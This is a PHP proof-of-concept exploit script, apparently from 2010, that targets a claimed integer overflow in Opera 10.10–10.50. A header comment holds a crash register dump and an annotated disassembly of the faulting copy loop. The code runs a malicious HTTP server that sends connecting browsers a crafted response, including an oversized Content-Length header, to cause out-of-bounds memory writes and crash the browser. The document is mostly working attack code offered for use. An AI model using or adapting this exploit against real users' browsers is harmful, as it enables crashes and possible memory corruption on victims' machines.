<?php
/*
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*-------------------------------------------------------------------------------
* Opera 10.10 - 10.50
* Title: Integer overflow leading
* to
* out of bounds array access R/W
* 0day poc
* Autor: Marcin Ressel aka ~echo
* Date: 3.03.2010
* Software: http://choice.opera.com/download/get.pl?thanks=true&sub=true&wu=1&wulang=pl&info=1
* Version: Tested on 10.10 , 10.50 but i thing other version is vulnerable to
* Platform: Windows xp home sp 2 pl
* Muz: http://totgeliebt.wrzuta.pl/audio/6dXgnLnsI82 (podniecilem sie)
* Contanct: pokoFac_nerda@tvn24.pl
*
* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*
* Exception: Access violation when writing to [01A23000]
* Registers: EAX 03D89DF2
ECX 3FFF3ABE
EDX 00000002
EBX FFFFFFFF
ESP 0012F158
EBP 0012F160
ESI 03DBB2F8
EDI 01A23000
EIP 6781E0BA Opera_12.6781E0BA
* DUMP Function:
6781E060 55 PUSH EBP
6781E061 8BEC MOV EBP,ESP
6781E063 57 PUSH EDI
6781E064 56 PUSH ESI
6781E065 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
6781E068 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
6781E06B 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
6781E06E 8BC1 MOV EAX,ECX
6781E070 8BD1 MOV EDX,ECX
6781E072 03C6 ADD EAX,ESI
6781E074 3BFE CMP EDI,ESI
6781E076 76 08 JBE SHORT Opera_12.6781E080
6781E078 3BF8 CMP EDI,EAX
6781E07A 0F82 A4010000 JB Opera_12.6781E224
6781E080 81F9 00010000 CMP ECX,100
6781E086 72 1F JB SHORT Opera_12.6781E0A7
6781E088 833D 882AF167 00 CMP DWORD PTR DS:[67F12A88],0
6781E08F 74 16 JE SHORT Opera_12.6781E0A7
6781E091 57 PUSH EDI
6781E092 56 PUSH ESI
6781E093 83E7 0F AND EDI,0F
6781E096 83E6 0F AND ESI,0F
6781E099 3BFE CMP EDI,ESI
6781E09B 5E POP ESI
6781E09C 5F POP EDI
6781E09D 75 08 JNZ SHORT Opera_12.6781E0A7
6781E09F 5E POP ESI
6781E0A0 5F POP EDI
6781E0A1 5D POP EBP
6781E0A2 ^E9 88CEFFFF JMP Opera_12.6781AF2F
6781E0A7 F7C7 03000000 TEST EDI,3
6781E0AD 75 15 JNZ SHORT Opera_12.6781E0C4
6781E0AF C1E9 02 SHR ECX,2
6781E0B2 83E2 03 AND EDX,3
6781E0B5 83F9 08 CMP ECX,8
6781E0B8 72 2A JB SHORT Opera_12.6781E0E4
BUG-> 6781E0BA F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <-- BUG
6781E0BC FF2495 D4E18167 JMP DWORD PTR DS:[EDX*4+6781E1D4]
6781E0C3 90 NOP
6781E0C4 8BC7 MOV EAX,EDI
6781E0C6 BA 03000000 MOV EDX,3
6781E0CB 83E9 04 SUB ECX,4
6781E0CE 72 0C JB SHORT Opera_12.6781E0DC
6781E0D0 83E0 03 AND EAX,3
6781E0D3 03C8 ADD ECX,EAX
6781E0D5 FF2485 E8E08167 JMP DWORD PTR DS:[EAX*4+6781E0E8]
6781E0DC FF248D E4E18167 JMP DWORD PTR DS:[ECX*4+6781E1E4]
6781E0E3 90 NOP
6781E0E4 FF248D 68E18167 JMP DWORD PTR DS:[ECX*4+6781E168]
...
*---------------------------------------------------------------------------
* BREAK AT 6781E0BA
ECX=3FFF3ABE (decimal 1073691326.)
DS:[ESI]=[03DBB2F8]=00000000
ES:[EDI]=[01A23000]=???
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*
*/
if(strtolower(substr($_ENV['OS'],0,3)) == "win") define('OS','win');
else define('OS','nix');
if(!extension_loaded('php_sockets'))
{
if((OS == 'win') && (!@dl('php_sockets.dll')) ||
((OS == 'nix') && (!@dl('php_sockets.so'))))
die('fatal php_sockets.[dll/so] '.
'not loaded '."\r\n"); //.__line__.' '.__file__."\r\n");
}
/*Generated by my own fuzzer*/
$EVIL = 'HTTP/1.1 200 ok'."\r\n".
'Transfer-Encoding: identity'."\r\n".
'Date: thu 28 dec 2003 12:4:33 gmt'."\r\n".
'Server: moj zuy server'."\r\n".
'Set-Cookie: psid=d6dd02e9957fb162d2385ca6f2829a73;path=C:/'."\r\n".
'Content-Location: file://C:/boot.ini'."\r\n".
'Vary:negotiate,accept-language,accept-charset'."\r\n".
'Tcn: choice'."\r\n".
'Last-modified: sun,21 nov 2010 22:22:22 gmt'."\r\n".
'Etag: "3861-5c6-1b28fa80;386a-9dc-1b28fa80"'."\r\n".
'Accept-Ranges: bytes'."\r\n".
'Cache-Control: max-age=0'."\r\n".
'Expires: mon, 22 feb 2010 18:31:20 gmt'."\r\n".
'Content-Encoding: identity'."\r\n".
'Content-Length:9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999666'."\r\n".
'Via: 1.1 cache.zuo.pl:3128 (squid/2.7.stable6)'."\r\n".
'Keep-Alive: timeout=15, max=300'."\r\n".
'Connection: keep-alive'."\r\n".
'Content-Type: text/html; charset=iso-8859-2'."\r\n".
'Age: 1'."\r\n".
'Allow: GET,HEAD'."\r\n".
'Content-Disposition: inline'."\r\n".
'Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ=='."\r\n".
'Warning: 199 Miscellaneous warning'."\r\n".
'Trailer: Max-Forwards'."\r\n".
'Location: chrome://inspector/content/viewers/dom/dom.xul'."\r\n".
'Content-Range: bytes 21010-47021/47022'."\r\n".
'Content-Language: pl'."\r\n\r\n".
'<html><head></head><body style="background-color:red;color:white;text-align:center;"><b>seq_end</b><script>location.href="http://swswqosksqowkd";</script></body></html>';
$buster = $argc - 1;// - 1;
if($buster > 0)
{
for($i = 1; $i<$buster; $i+=2)
if(('-port' == $argv[$i]) && ((int)$argv[$i + 1] > 0)) $PORT = $argv[$i + 1];
}
else $PORT = 81;
if(!($SOCKET = socket_create_listen($PORT)))
die('fatal socket init failed'."\r\n");
socket_set_option($SOCKET,SOL_SOCKET,
SO_RCVTIMEO,array("sec"=>3,"usec"=>0));
echo('SOCKET READY AT PORT '.$PORT."\r\n".
'Now connect here via opera'."\r\n");
if($CONNECT = socket_accept($SOCKET))
{
$recv_buffer = null;
echo('Connection ok '."\r\n");
if(socket_recv($CONNECT,$recv_buffer,8,/*msg_dontwait*/MSG_WAITALL))
{
if(!@socket_write($CONNECT,$EVIL))
{
socket_close($CONNECT);
socket_close($SOCKET);
die('I cant send payload !'."\r\n");
}
}
else echo('Something wrong with client side'."\r\n");
usleep(120000);
socket_close($CONNECT);
socket_close($SOCKET);
}
echo('OK ya browser must be death now'."\r\n".
'Have a nice day lol'."\r\n");
//[2010-03-03 20:47:46]
//i cut be milion dolar man ;=
?>
